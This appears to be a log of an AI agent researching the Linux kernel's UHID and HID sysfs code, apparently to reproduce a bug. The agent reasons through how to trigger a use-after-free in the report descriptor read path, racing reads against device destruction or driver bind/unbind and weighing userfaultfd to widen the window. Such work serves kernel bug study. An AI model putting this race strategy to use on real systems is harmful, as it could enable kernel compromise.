Alright, so we're talking about `uhid_create2_req`. Immediately, my mind jumps to the kernel's UHID (User-space Human Interface Device) subsystem. The "2" in the name suggests an updated or extended version of the creation request structure, probably building upon the original `uhid_create_req`. My initial thought is to quickly review the relevant header file and data structures – likely something in the include path like `linux/uhid.h` or similar – to understand the changes. What new features or data members have been introduced? Is it just about expanding capabilities, addressing limitations in the older version, or supporting new device types altogether?
I'm mentally comparing the two. What were the flaws of the original? Were we having issues with descriptor sizes, too many flags to specify, or was it just a matter of including more comprehensive information about the device itself to make configuration easier? I need to think through some edge cases and see what issues this new version may resolve. We may be seeing a larger structure, possibly including new flags for things like input reporting modes, battery state reporting, or perhaps vendor-specific data fields. I'm also looking for backward compatibility issues. Could this new request structure still work with older user-space libraries, or does this demand an update across the userland to handle the extended data?
My experience tells me this is likely tied to broader changes in the way we handle virtual HID devices or perhaps it's related to the move toward a more flexible and feature-rich interface for applications interacting with the HID subsystem. The "create" part implies we're establishing a new virtual HID device instance. So, I need to understand the implications of this new request for device enumeration, device file creation, and the overall interaction between the kernel driver and user-space applications. What sort of access permissions is this new structure looking for? Can this new request structure open up new vulnerabilities for user space applications to exploit?
I want to investigate how the kernel processes this request. Does it involve resource allocation, device initialization, and the creation of character devices? I want to know how it interfaces with the device management framework. Finally, I want to consider any potential performance implications. Is this new request structure optimized for efficiency or are there tradeoffs? Will it introduce any bottlenecks in the data path, especially under heavy load or with a large number of virtual devices? The specific implementation details are what I need to explore next.
|
| 34/2 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:include/uapi/linux/uhid.h IncludeLines:true Name:uhid_create2_req]
Results: map[SourceCode: 45: struct uhid_create2_req {
46: __u8 name[128];
47: __u8 phys[64];
48: __u8 uniq[64];
49: __u16 rd_size;
50: __u16 bus;
51: __u32 vendor;
52: __u32 product;
53: __u32 version;
54: __u32 country;
55: __u8 rd_data[HID_MAX_DESCRIPTOR_SIZE];
56: } __attribute__((__packed__));
SourceFile:include/uapi/linux/uhid.h]
|
| 35/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 67179
output: 46
thoughts: 173
Thoughts: **My UHID Device Creation and Destruction Process**
Okay, so I'm thinking about how I'm going to handle this UHID device creation and teardown. First, I'll be using `UHID_CREATE2` to actually bring the device into existence – that's the obvious starting point. Now, I need to figure out the right sysfs path to interact with it. I know it *should* show up at something like `/sys/devices/virtual/misc/uhid/0003:046D:C293.*`, but wait... that's not quite right. After a quick mental check, the HID device itself gets listed under `/sys/bus/hid/devices/0003:046D:C293.*/report_descriptor`. Ah, yes, that's it! That's where the good stuff is.
Finding that sysfs path is straightforward enough; a quick `glob` pattern match or even just using `opendir` will get me there without a hitch. Once I have the path, I'll open the `report_descriptor` file, the crucial bit of data. And then I can spin off a dedicated thread to continuously read that file in a loop – it's a perfect setup for that. Finally, the main thread will use `UHID_DESTROY` to get rid of the device when I'm done with it. Though, wait a minute, `UHID_DESTROY`... isn't that just an event type? Okay, I'll need to double-check my understanding of that part, and make sure that this is the best way to destroy it.
|
| 36/2 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:include/uapi/linux/uhid.h IncludeLines:true Name:uhid_event_type]
Results: map[SourceCode: 27: enum uhid_event_type {
28: __UHID_LEGACY_CREATE,
29: UHID_DESTROY,
30: UHID_START,
31: UHID_STOP,
32: UHID_OPEN,
33: UHID_CLOSE,
34: UHID_OUTPUT,
35: __UHID_LEGACY_OUTPUT_EV,
36: __UHID_LEGACY_INPUT,
37: UHID_GET_REPORT,
38: UHID_GET_REPORT_REPLY,
39: UHID_CREATE2,
40: UHID_INPUT2,
41: UHID_SET_REPORT,
42: UHID_SET_REPORT_REPLY,
43: };
SourceFile:include/uapi/linux/uhid.h]
|
| 37/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 68001
output: 46
thoughts: 690
Thoughts: **Analyzing a Potential Use-After-Free Vulnerability in the HID Subsystem**
Okay, so the thought process here is centered around a potential use-after-free (UAF) vulnerability within the Linux HID subsystem, specifically when dealing with UHID devices and their report descriptors. The core idea is this: we send `UHID_DESTROY` to the uhid file descriptor. This triggers a cascade of events: `hid_destroy_device`, then `hid_remove_device`, then `device_del`, which, in turn, removes the sysfs files associated with the device. Critically, this sequence includes `hid_close_report` which frees the report descriptor (`hdev->rdesc`).
Now, the vulnerability lies in the race condition between this destruction process and a concurrent read of the report descriptor through sysfs, specifically the `report_descriptor_read` function. If `report_descriptor_read` is actively reading the report descriptor when the device is being destroyed, we have a problem. Initially, the removal of the sysfs files seemed problematic, but the sysfs system has safeguards to prevent a read from being interrupted due to a file removal.
The specific race is triggered between:
* Thread 1: `read(sysfs_fd, buf, size)` in the kernel space.
* Thread 2: `write(uhid_fd, UHID_DESTROY)`.
`report_descriptor_read` contains: `memcpy(buf, hdev->rdesc + off, count)`. And the buffer `buf` is a kernel buffer. The goal is to maximize the race window. By using a userfaultfd-managed region for the `buf` passed to `read`, we can create a larger window. If `buf` is a userfaultfd-managed region, `memcpy` will trigger a page fault. While `memcpy` is blocked in the page fault, we send the `UHID_DESTROY` signal.
The critical observation here is: `hid_close_report` gets called. `hid_close_report` frees `hdev->rdesc`. Then the page fault gets resolved and the `memcpy` continues. This is the use-after-free!
However, on closer inspection of the code, specifically the `report_descriptor_read` function, the `buf` argument *isn't* a user-provided buffer as I initially believed. The sysfs core is responsible for allocating and managing the buffer used in this read, and then copies the data into a buffer for userland. This means that the userfaultfd trick is not directly applicable to the `buf` argument. We would need to look into `sysfs_kf_bin_read` or related functions to understand the buffer.
|
| 38/2 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/kernfs/file.c IncludeLines:true Name:kernfs_fop_read_iter]
Results: map[SourceCode: 294: static ssize_t kernfs_fop_read_iter(struct kiocb *iocb, struct iov_iter *iter)
295: {
296: if (kernfs_of(iocb->ki_filp)->kn->flags & KERNFS_HAS_SEQ_SHOW)
297: return seq_read_iter(iocb, iter);
298: return kernfs_file_read_iter(iocb, iter);
299: }
SourceFile:fs/kernfs/file.c]
|
| 39/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 69477
output: 45
thoughts: 14
Thoughts: Okay, here's my attempt at summarizing my thought process regarding `kernfs_file_read_iter`, assuming I'm an expert and this is just the jumping-off point for further investigation.
**Diving into `kernfs_file_read_iter`**
Alright, time to refresh my memory on `kernfs_file_read_iter`. I'm starting here because... well, let's just say this function has been a point of interest, and I need to solidify my understanding again. I'm thinking, this is the core function where the actual *reading* of data from a kernfs file happens, right? It's the point where the kernel interacts with the underlying storage to fulfill a user-space read request. I'll need to remember:
* **The Context:** What's the typical calling sequence? What's the overall architecture that calls this? Is this being called directly or indirectly? Am I dealing with a simple file or something that is more complex?
* **Data Flow:** Where does the data actually come from? Is it pulling from a buffer associated with the kernfs node, or is it delegating to some other file system or driver? What about how the data is handled when it is sent to user-space?
* **Error Handling:** What failure scenarios are handled here? What are the common error codes that can be returned and what do they mean in the big picture? Are there specific issues related to locking, concurrent access, or resource exhaustion that might need attention?
* **Performance Considerations:** Could this function be a bottleneck? Are there any optimizations that could be made to improve read performance? What is the impact on resource usage?
So, this is the function where the rubber meets the road. I'll need to go through it carefully and start tracing any connected functions. This is going to be my key focus.
|
| 40/2 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/kernfs/file.c IncludeLines:true Name:kernfs_file_read_iter]
Results: map[SourceCode: 233: /*
234: * As reading a bin file can have side-effects, the exact offset and bytes
235: * specified in read(2) call should be passed to the read callback making
236: * it difficult to use seq_file. Implement simplistic custom buffering for
237: * bin files.
238: */
239: static ssize_t kernfs_file_read_iter(struct kiocb *iocb, struct iov_iter *iter)
240: {
241: struct kernfs_open_file *of = kernfs_of(iocb->ki_filp);
242: ssize_t len = min_t(size_t, iov_iter_count(iter), PAGE_SIZE);
243: const struct kernfs_ops *ops;
244: char *buf;
245:
246: buf = of->prealloc_buf;
247: if (buf)
248: mutex_lock(&of->prealloc_mutex);
249: else
250: buf = kmalloc(len, GFP_KERNEL);
251: if (!buf)
252: return -ENOMEM;
253:
254: /*
255: * @of->mutex nests outside active ref and is used both to ensure that
256: * the ops aren't called concurrently for the same open file.
257: */
258: mutex_lock(&of->mutex);
259: if (!kernfs_get_active_of(of)) {
260: len = -ENODEV;
261: mutex_unlock(&of->mutex);
262: goto out_free;
263: }
264:
265: of->event = atomic_read(&of_on(of)->event);
266:
267: ops = kernfs_ops(of->kn);
268: if (ops->read)
269: len = ops->read(of, buf, len, iocb->ki_pos);
270: else
271: len = -EINVAL;
272:
273: kernfs_put_active_of(of);
274: mutex_unlock(&of->mutex);
275:
276: if (len < 0)
277: goto out_free;
278:
279: if (copy_to_iter(buf, len, iter) != len) {
280: len = -EFAULT;
281: goto out_free;
282: }
283:
284: iocb->ki_pos += len;
285:
286: out_free:
287: if (buf == of->prealloc_buf)
288: mutex_unlock(&of->prealloc_mutex);
289: else
290: kfree(buf);
291: return len;
292: }
SourceFile:fs/kernfs/file.c]
|
| 41/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 70818
output: 22
thoughts: 1493
Thoughts: **Race to a Kernel Buffer Overflow**
Okay, so I'm looking at this `report_descriptor_read` function. It seems that `buf`, the kernel buffer, is allocated with `kmalloc`, which means a `memcpy` operation involving it won't trigger a page fault on the `buf` side. The data is copied from `hdev->rdesc` into `buf`, and then `copy_to_iter` moves it to userspace, where a page fault *could* occur. However, the use-after-free (UAF) is happening *within* the `memcpy` operation itself, making `userfaultfd` useless for pausing the vulnerable operation.
The core of the issue is this race condition:
1. `report_descriptor_read` reads `hdev->rsize` and `hdev->rdesc`.
2. `hid_close_report` frees `hdev->rdesc`.
3. `report_descriptor_read` calls `memcpy`.
The race window looks tight, since `report_descriptor_read` is very short. I'm considering ways to widen this window. My initial idea was to just loop opening, reading, and closing the sysfs entry.
I can make the loop more effective by unbinding and binding the driver. I found a way to do this with `/sys/bus/hid/drivers/logitech/unbind`, which calls `hid_device_remove` and, in turn, `hid_close_report`, freeing `rdesc`. But the crucial thing is that the *device* itself doesn't disappear, so the sysfs file `/sys/bus/hid/devices/.../report_descriptor` remains. That is what I want!
I confirmed that `report_descriptor` is a device attribute and not a driver attribute, so it remains even after unbinding. If I can open the sysfs file once, and then `pread` on it repeatedly, the race seems promising.
The problem, though, is that when the driver is unbound, `hdev->rsize` is set to 0. If `hdev->rsize` is 0, `report_descriptor_read` just returns immediately.
I need to race the `pread` call *with* the unbind operation. I can achieve this by binding and unbinding the driver in a loop from a separate thread. So, one thread loops `pread` on the file, and another quickly binds and unbinds. When the driver binds, `hid_device_probe` is called. It calls `hid_open_report`, which allocates `rdesc` and initializes `rsize`. This is the perfect setup. The `pread` can now see `rsize` > 0 and proceed with `memcpy`. If `unbind` happens *immediately* after the `pread` checks `rsize` but *before* the `memcpy` completes, then `rdesc` is freed, and the `memcpy` reads from freed memory, resulting in the UAF.
I see that `hid_device_probe` in the `hid-lg` driver calls `lg_probe`, which calls `hid_parse`, which is itself a macro for `hid_open_report`. So, `lg_probe` calls `hid_open_report`, which is what I want to happen, as it allocates `rdesc`.
I can also do this with `uhid`. That gives me the ability to create the device once with a name, something like `0003:046D:C293.0001`. I can discover the device's name by reading `/sys/bus/hid/devices/`. I can then open the `report_descriptor` sysfs file, and the bind and unbind sysfs files for the driver. I need to verify that `logitech` is the correct driver name, though.
|
| 42/2 |
2026/05/19 10:07 |
tool |
grepper |
0m
Error:
Args: map[Expression:hid_register_driver.*logitech]
Results:
|
| 43/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 73178
output: 19
thoughts: 15
Thoughts: Okay, here's my summary, tailored as requested:
**Driver Identification - Quick Check**
Right, before I dive too deep into this issue, let me just quickly confirm something fundamental. I need to make absolutely sure I'm working with the correct driver. It’s always a good practice to start with the basics, especially when dealing with something as pervasive as HID devices. My gut tells me there might be something at play that's related to the driver, so let's start with a sanity check. Let's start with a file that is typically involved, like `hid-lg.c`. I'll use that as a jumping off point to verify the driver name. This should only take a moment, and it could save me from chasing a red herring later.
|
| 44/2 |
2026/05/19 10:07 |
tool |
grepper |
0m
Args: map[Expression:module_hid_driver]
Results: map[Output:
Full output is too long, showing 500 out of 702 lines.
Use more precise expression if possible.
[drivers/hid/hid-a4tech.c=156=static struct hid_driver a4_driver = {
--
drivers/hid/hid-a4tech.c-163-};
drivers/hid/hid-a4tech.c:164:module_hid_driver(a4_driver);
drivers/hid/hid-a4tech.c-165-
--
drivers/hid/hid-accutouch.c=39=static struct hid_driver accutouch_driver = {
--
drivers/hid/hid-accutouch.c-44-
drivers/hid/hid-accutouch.c:45:module_hid_driver(accutouch_driver);
drivers/hid/hid-accutouch.c-46-
--
drivers/hid/hid-alps.c=839=static struct hid_driver alps_driver = {
--
drivers/hid/hid-alps.c-849-
drivers/hid/hid-alps.c:850:module_hid_driver(alps_driver);
drivers/hid/hid-alps.c-851-
--
drivers/hid/hid-apple.c=1232=static struct hid_driver apple_driver = {
--
drivers/hid/hid-apple.c-1242-};
drivers/hid/hid-apple.c:1243:module_hid_driver(apple_driver);
drivers/hid/hid-apple.c-1244-
--
drivers/hid/hid-appleir.c=335=static struct hid_driver appleir_driver = {
--
drivers/hid/hid-appleir.c-343-};
drivers/hid/hid-appleir.c:344:module_hid_driver(appleir_driver);
--
drivers/hid/hid-appletb-bl.c=193=static struct hid_driver appletb_bl_hid_driver = {
--
drivers/hid/hid-appletb-bl.c-198-};
drivers/hid/hid-appletb-bl.c:199:module_hid_driver(appletb_bl_hid_driver);
drivers/hid/hid-appletb-bl.c-200-
--
drivers/hid/hid-appletb-kbd.c=511=static struct hid_driver appletb_kbd_hid_driver = {
--
drivers/hid/hid-appletb-kbd.c-522-};
drivers/hid/hid-appletb-kbd.c:523:module_hid_driver(appletb_kbd_hid_driver);
drivers/hid/hid-appletb-kbd.c-524-
--
drivers/hid/hid-asus.c=1541=static struct hid_driver asus_driver = {
--
drivers/hid/hid-asus.c-1553-};
drivers/hid/hid-asus.c:1554:module_hid_driver(asus_driver);
drivers/hid/hid-asus.c-1555-
--
drivers/hid/hid-aureal.c=37=static struct hid_driver aureal_driver = {
--
drivers/hid/hid-aureal.c-41-};
drivers/hid/hid-aureal.c:42:module_hid_driver(aureal_driver);
drivers/hid/hid-aureal.c-43-
--
drivers/hid/hid-axff.c=183=static struct hid_driver ax_driver = {
--
drivers/hid/hid-axff.c-188-};
drivers/hid/hid-axff.c:189:module_hid_driver(ax_driver);
drivers/hid/hid-axff.c-190-
--
drivers/hid/hid-belkin.c=80=static struct hid_driver belkin_driver = {
--
drivers/hid/hid-belkin.c-85-};
drivers/hid/hid-belkin.c:86:module_hid_driver(belkin_driver);
drivers/hid/hid-belkin.c-87-
--
drivers/hid/hid-betopff.c=158=static struct hid_driver betop_driver = {
--
drivers/hid/hid-betopff.c-162-};
drivers/hid/hid-betopff.c:163:module_hid_driver(betop_driver);
drivers/hid/hid-betopff.c-164-
--
drivers/hid/hid-bigbenff.c=484=static struct hid_driver bigben_driver = {
--
drivers/hid/hid-bigbenff.c-490-};
drivers/hid/hid-bigbenff.c:491:module_hid_driver(bigben_driver);
drivers/hid/hid-bigbenff.c-492-
--
drivers/hid/hid-cherry.c=63=static struct hid_driver ch_driver = {
--
drivers/hid/hid-cherry.c-68-};
drivers/hid/hid-cherry.c:69:module_hid_driver(ch_driver);
drivers/hid/hid-cherry.c-70-
--
drivers/hid/hid-chicony.c=145=static struct hid_driver ch_driver = {
--
drivers/hid/hid-chicony.c-152-};
drivers/hid/hid-chicony.c:153:module_hid_driver(ch_driver);
drivers/hid/hid-chicony.c-154-
--
drivers/hid/hid-corsair-void.c=820=static struct hid_driver corsair_void_driver = {
--
drivers/hid/hid-corsair-void.c-827-
drivers/hid/hid-corsair-void.c:828:module_hid_driver(corsair_void_driver);
drivers/hid/hid-corsair-void.c-829-
--
drivers/hid/hid-corsair.c=739=static struct hid_driver corsair_driver = {
--
drivers/hid/hid-corsair.c-748-
drivers/hid/hid-corsair.c:749:module_hid_driver(corsair_driver);
drivers/hid/hid-corsair.c-750-
--
drivers/hid/hid-cougar.c=332=static struct hid_driver cougar_driver = {
--
drivers/hid/hid-cougar.c-340-
drivers/hid/hid-cougar.c:341:module_hid_driver(cougar_driver);
--
drivers/hid/hid-cp2112.c=1444=static struct hid_driver cp2112_driver = {
--
drivers/hid/hid-cp2112.c-1451-
drivers/hid/hid-cp2112.c:1452:module_hid_driver(cp2112_driver);
drivers/hid/hid-cp2112.c-1453-MODULE_DESCRIPTION("Silicon Labs HID USB to SMBus master bridge");
--
drivers/hid/hid-creative-sb0540.c=260=static struct hid_driver creative_sb0540_driver = {
--
drivers/hid/hid-creative-sb0540.c-267-};
drivers/hid/hid-creative-sb0540.c:268:module_hid_driver(creative_sb0540_driver);
--
drivers/hid/hid-cypress.c=169=static struct hid_driver cp_driver = {
--
drivers/hid/hid-cypress.c-176-};
drivers/hid/hid-cypress.c:177:module_hid_driver(cp_driver);
drivers/hid/hid-cypress.c-178-
--
drivers/hid/hid-dr.c=310=static struct hid_driver dr_driver = {
--
drivers/hid/hid-dr.c-316-};
drivers/hid/hid-dr.c:317:module_hid_driver(dr_driver);
drivers/hid/hid-dr.c-318-
--
drivers/hid/hid-elan.c=521=static struct hid_driver elan_driver = {
--
drivers/hid/hid-elan.c-529-
drivers/hid/hid-elan.c:530:module_hid_driver(elan_driver);
drivers/hid/hid-elan.c-531-
--
drivers/hid/hid-elecom.c=165=static struct hid_driver elecom_driver = {
--
drivers/hid/hid-elecom.c-169-};
drivers/hid/hid-elecom.c:170:module_hid_driver(elecom_driver);
drivers/hid/hid-elecom.c-171-
--
drivers/hid/hid-emsff.c=140=static struct hid_driver ems_driver = {
--
drivers/hid/hid-emsff.c-144-};
drivers/hid/hid-emsff.c:145:module_hid_driver(ems_driver);
drivers/hid/hid-emsff.c-146-
--
drivers/hid/hid-evision.c=66=static struct hid_driver evision_driver = {
--
drivers/hid/hid-evision.c-71-};
drivers/hid/hid-evision.c:72:module_hid_driver(evision_driver);
drivers/hid/hid-evision.c-73-
--
drivers/hid/hid-ezkey.c=70=static struct hid_driver ez_driver = {
--
drivers/hid/hid-ezkey.c-75-};
drivers/hid/hid-ezkey.c:76:module_hid_driver(ez_driver);
drivers/hid/hid-ezkey.c-77-
--
drivers/hid/hid-ft260.c=1108=static struct hid_driver ft260_driver = {
--
drivers/hid/hid-ft260.c-1115-
drivers/hid/hid-ft260.c:1116:module_hid_driver(ft260_driver);
drivers/hid/hid-ft260.c-1117-MODULE_DESCRIPTION("FTDI FT260 USB HID to I2C host bridge");
--
drivers/hid/hid-gaff.c=165=static struct hid_driver ga_driver = {
--
drivers/hid/hid-gaff.c-169-};
drivers/hid/hid-gaff.c:170:module_hid_driver(ga_driver);
drivers/hid/hid-gaff.c-171-
--
drivers/hid/hid-gembird.c=104=static struct hid_driver gembird_driver = {
--
drivers/hid/hid-gembird.c-108-};
drivers/hid/hid-gembird.c:109:module_hid_driver(gembird_driver);
drivers/hid/hid-gembird.c-110-
--
drivers/hid/hid-generic.c=87=static struct hid_driver hid_generic = {
--
drivers/hid/hid-generic.c-93-};
drivers/hid/hid-generic.c:94:module_hid_driver(hid_generic);
drivers/hid/hid-generic.c-95-
--
drivers/hid/hid-gfrm.c=135=static struct hid_driver gfrm_driver = {
--
drivers/hid/hid-gfrm.c-143-
drivers/hid/hid-gfrm.c:144:module_hid_driver(gfrm_driver);
drivers/hid/hid-gfrm.c-145-
--
drivers/hid/hid-glorious.c=89=static struct hid_driver glorious_driver = {
--
drivers/hid/hid-glorious.c-95-
drivers/hid/hid-glorious.c:96:module_hid_driver(glorious_driver);
drivers/hid/hid-glorious.c-97-
--
drivers/hid/hid-google-stadiaff.c=150=static struct hid_driver stadia_driver = {
--
drivers/hid/hid-google-stadiaff.c-155-};
drivers/hid/hid-google-stadiaff.c:156:module_hid_driver(stadia_driver);
drivers/hid/hid-google-stadiaff.c-157-
--
drivers/hid/hid-gt683r.c=299=static struct hid_driver gt683r_led_driver = {
--
drivers/hid/hid-gt683r.c-305-
drivers/hid/hid-gt683r.c:306:module_hid_driver(gt683r_led_driver);
drivers/hid/hid-gt683r.c-307-
--
drivers/hid/hid-gyration.c=82=static struct hid_driver gyration_driver = {
--
drivers/hid/hid-gyration.c-87-};
drivers/hid/hid-gyration.c:88:module_hid_driver(gyration_driver);
drivers/hid/hid-gyration.c-89-
--
drivers/hid/hid-holtek-kbd.c=175=static struct hid_driver holtek_kbd_driver = {
--
drivers/hid/hid-holtek-kbd.c-180-};
drivers/hid/hid-holtek-kbd.c:181:module_hid_driver(holtek_kbd_driver);
drivers/hid/hid-holtek-kbd.c-182-
--
drivers/hid/hid-holtek-mouse.c=105=static struct hid_driver holtek_mouse_driver = {
--
drivers/hid/hid-holtek-mouse.c-111-
drivers/hid/hid-holtek-mouse.c:112:module_hid_driver(holtek_mouse_driver);
drivers/hid/hid-holtek-mouse.c-113-MODULE_DESCRIPTION("HID driver for Holtek gaming mice");
--
drivers/hid/hid-holtekff.c=210=static struct hid_driver holtek_driver = {
--
drivers/hid/hid-holtekff.c-214-};
drivers/hid/hid-holtekff.c:215:module_hid_driver(holtek_driver);
drivers/hid/hid-holtekff.c-216-
--
drivers/hid/hid-huawei.c=73=static struct hid_driver huawei_driver = {
--
drivers/hid/hid-huawei.c-77-};
drivers/hid/hid-huawei.c:78:module_hid_driver(huawei_driver);
drivers/hid/hid-huawei.c-79-
--
drivers/hid/hid-icade.c=228=static struct hid_driver icade_driver = {
--
drivers/hid/hid-icade.c-234-};
drivers/hid/hid-icade.c:235:module_hid_driver(icade_driver);
drivers/hid/hid-icade.c-236-
--
drivers/hid/hid-ite.c=133=static struct hid_driver ite_driver = {
--
drivers/hid/hid-ite.c-140-};
drivers/hid/hid-ite.c:141:module_hid_driver(ite_driver);
drivers/hid/hid-ite.c-142-
--
drivers/hid/hid-jabra.c=46=static struct hid_driver jabra_driver = {
--
drivers/hid/hid-jabra.c-50-};
drivers/hid/hid-jabra.c:51:module_hid_driver(jabra_driver);
drivers/hid/hid-jabra.c-52-
--
drivers/hid/hid-kensington.c=42=static struct hid_driver ks_driver = {
--
drivers/hid/hid-kensington.c-46-};
drivers/hid/hid-kensington.c:47:module_hid_driver(ks_driver);
drivers/hid/hid-kensington.c-48-
--
drivers/hid/hid-keytouch.c=42=static struct hid_driver keytouch_driver = {
--
drivers/hid/hid-keytouch.c-46-};
drivers/hid/hid-keytouch.c:47:module_hid_driver(keytouch_driver);
drivers/hid/hid-keytouch.c-48-
--
drivers/hid/hid-kye.c=666=static struct hid_driver kye_driver = {
--
drivers/hid/hid-kye.c-671-};
drivers/hid/hid-kye.c:672:module_hid_driver(kye_driver);
drivers/hid/hid-kye.c-673-
--
drivers/hid/hid-kysona.c=281=static struct hid_driver kysona_driver = {
--
drivers/hid/hid-kysona.c-287-};
drivers/hid/hid-kysona.c:288:module_hid_driver(kysona_driver);
drivers/hid/hid-kysona.c-289-
--
drivers/hid/hid-lcpower.c=49=static struct hid_driver ts_driver = {
--
drivers/hid/hid-lcpower.c-53-};
drivers/hid/hid-lcpower.c:54:module_hid_driver(ts_driver);
drivers/hid/hid-lcpower.c-55-
--
drivers/hid/hid-led.c=525=static struct hid_driver hidled_driver = {
--
drivers/hid/hid-led.c-530-
drivers/hid/hid-led.c:531:module_hid_driver(hidled_driver);
drivers/hid/hid-led.c-532-
--
drivers/hid/hid-lenovo-go-s.c=1536=static struct hid_driver hid_lenovo_go_s = {
--
drivers/hid/hid-lenovo-go-s.c-1543-};
drivers/hid/hid-lenovo-go-s.c:1544:module_hid_driver(hid_lenovo_go_s);
drivers/hid/hid-lenovo-go-s.c-1545-
--
drivers/hid/hid-lenovo-go.c=2489=static struct hid_driver hid_lenovo_go = {
--
drivers/hid/hid-lenovo-go.c-2495-};
drivers/hid/hid-lenovo-go.c:2496:module_hid_driver(hid_lenovo_go);
drivers/hid/hid-lenovo-go.c-2497-
--
drivers/hid/hid-lenovo.c=1561=static struct hid_driver lenovo_driver = {
--
drivers/hid/hid-lenovo.c-1572-};
drivers/hid/hid-lenovo.c:1573:module_hid_driver(lenovo_driver);
drivers/hid/hid-lenovo.c-1574-
--
drivers/hid/hid-letsketch.c=314=static struct hid_driver letsketch_driver = {
--
drivers/hid/hid-letsketch.c-319-};
drivers/hid/hid-letsketch.c:320:module_hid_driver(letsketch_driver);
drivers/hid/hid-letsketch.c-321-
--
drivers/hid/hid-lg-g15.c=1377=static struct hid_driver lg_g15_driver = {
--
drivers/hid/hid-lg-g15.c-1382-};
drivers/hid/hid-lg-g15.c:1383:module_hid_driver(lg_g15_driver);
drivers/hid/hid-lg-g15.c-1384-
--
drivers/hid/hid-lg.c=926=static struct hid_driver lg_driver = {
--
drivers/hid/hid-lg.c-936-};
drivers/hid/hid-lg.c:937:module_hid_driver(lg_driver);
drivers/hid/hid-lg.c-938-
--
drivers/hid/hid-logitech-dj.c=2156=static struct hid_driver logi_djreceiver_driver = {
--
drivers/hid/hid-logitech-dj.c-2164-
drivers/hid/hid-logitech-dj.c:2165:module_hid_driver(logi_djreceiver_driver);
drivers/hid/hid-logitech-dj.c-2166-
--
drivers/hid/hid-logitech-hidpp.c=4736=static struct hid_driver hidpp_driver = {
--
drivers/hid/hid-logitech-hidpp.c-4749-
drivers/hid/hid-logitech-hidpp.c:4750:module_hid_driver(hidpp_driver);
--
drivers/hid/hid-macally.c=39=static struct hid_driver macally_driver = {
--
drivers/hid/hid-macally.c-44-
drivers/hid/hid-macally.c:45:module_hid_driver(macally_driver);
--
drivers/hid/hid-magicmouse.c=1051=static struct hid_driver magicmouse_driver = {
--
drivers/hid/hid-magicmouse.c-1061-};
drivers/hid/hid-magicmouse.c:1062:module_hid_driver(magicmouse_driver);
drivers/hid/hid-magicmouse.c-1063-
--
drivers/hid/hid-maltron.c=158=static struct hid_driver maltron_driver = {
--
drivers/hid/hid-maltron.c-162-};
drivers/hid/hid-maltron.c:163:module_hid_driver(maltron_driver);
drivers/hid/hid-maltron.c-164-
--
drivers/hid/hid-mcp2200.c=384=static struct hid_driver mcp2200_driver = {
--
drivers/hid/hid-mcp2200.c-392-/* Register with HID core */
drivers/hid/hid-mcp2200.c:393:module_hid_driver(mcp2200_driver);
drivers/hid/hid-mcp2200.c-394-
--
drivers/hid/hid-mcp2221.c=1352=static struct hid_driver mcp2221_driver = {
--
drivers/hid/hid-mcp2221.c-1360-/* Register with HID core */
drivers/hid/hid-mcp2221.c:1361:module_hid_driver(mcp2221_driver);
drivers/hid/hid-mcp2221.c-1362-
--
drivers/hid/hid-megaworld.c=118=static struct hid_driver mwctrl_driver = {
--
drivers/hid/hid-megaworld.c-122-};
drivers/hid/hid-megaworld.c:123:module_hid_driver(mwctrl_driver);
drivers/hid/hid-megaworld.c-124-
--
drivers/hid/hid-mf.c=162=static struct hid_driver mf_driver = {
--
drivers/hid/hid-mf.c-166-};
drivers/hid/hid-mf.c:167:module_hid_driver(mf_driver);
drivers/hid/hid-mf.c-168-
--
drivers/hid/hid-microsoft.c=466=static struct hid_driver ms_driver = {
--
drivers/hid/hid-microsoft.c-475-};
drivers/hid/hid-microsoft.c:476:module_hid_driver(ms_driver);
drivers/hid/hid-microsoft.c-477-
--
drivers/hid/hid-monterey.c=57=static struct hid_driver mr_driver = {
--
drivers/hid/hid-monterey.c-62-};
drivers/hid/hid-monterey.c:63:module_hid_driver(mr_driver);
drivers/hid/hid-monterey.c-64-
--
drivers/hid/hid-multitouch.c=2592=static struct hid_driver mt_driver = {
--
drivers/hid/hid-multitouch.c-2610-};
drivers/hid/hid-multitouch.c:2611:module_hid_driver(mt_driver);
--
drivers/hid/hid-nti.c=48=static struct hid_driver nti_driver = {
--
drivers/hid/hid-nti.c-53-
drivers/hid/hid-nti.c:54:module_hid_driver(nti_driver);
drivers/hid/hid-nti.c-55-
--
drivers/hid/hid-ntrig.c=1019=static struct hid_driver ntrig_driver = {
--
drivers/hid/hid-ntrig.c-1029-};
drivers/hid/hid-ntrig.c:1030:module_hid_driver(ntrig_driver);
drivers/hid/hid-ntrig.c-1031-
--
drivers/hid/hid-nvidia-shield.c=1119=static struct hid_driver shield_driver = {
--
drivers/hid/hid-nvidia-shield.c-1129-};
drivers/hid/hid-nvidia-shield.c:1130:module_hid_driver(shield_driver);
drivers/hid/hid-nvidia-shield.c-1131-
--
drivers/hid/hid-ortek.c=47=static struct hid_driver ortek_driver = {
--
drivers/hid/hid-ortek.c-51-};
drivers/hid/hid-ortek.c:52:module_hid_driver(ortek_driver);
drivers/hid/hid-ortek.c-53-
--
drivers/hid/hid-penmount.c=40=static struct hid_driver penmount_driver = {
--
drivers/hid/hid-penmount.c-45-
drivers/hid/hid-penmount.c:46:module_hid_driver(penmount_driver);
drivers/hid/hid-penmount.c-47-
--
drivers/hid/hid-petalynx.c=96=static struct hid_driver pl_driver = {
--
drivers/hid/hid-petalynx.c-102-};
drivers/hid/hid-petalynx.c:103:module_hid_driver(pl_driver);
drivers/hid/hid-petalynx.c-104-
--
drivers/hid/hid-picolcd_core.c=643=static struct hid_driver picolcd_driver = {
--
drivers/hid/hid-picolcd_core.c-652-};
drivers/hid/hid-picolcd_core.c:653:module_hid_driver(picolcd_driver);
drivers/hid/hid-picolcd_core.c-654-
--
drivers/hid/hid-pl.c=216=static struct hid_driver pl_driver = {
--
drivers/hid/hid-pl.c-220-};
drivers/hid/hid-pl.c:221:module_hid_driver(pl_driver);
drivers/hid/hid-pl.c-222-
--
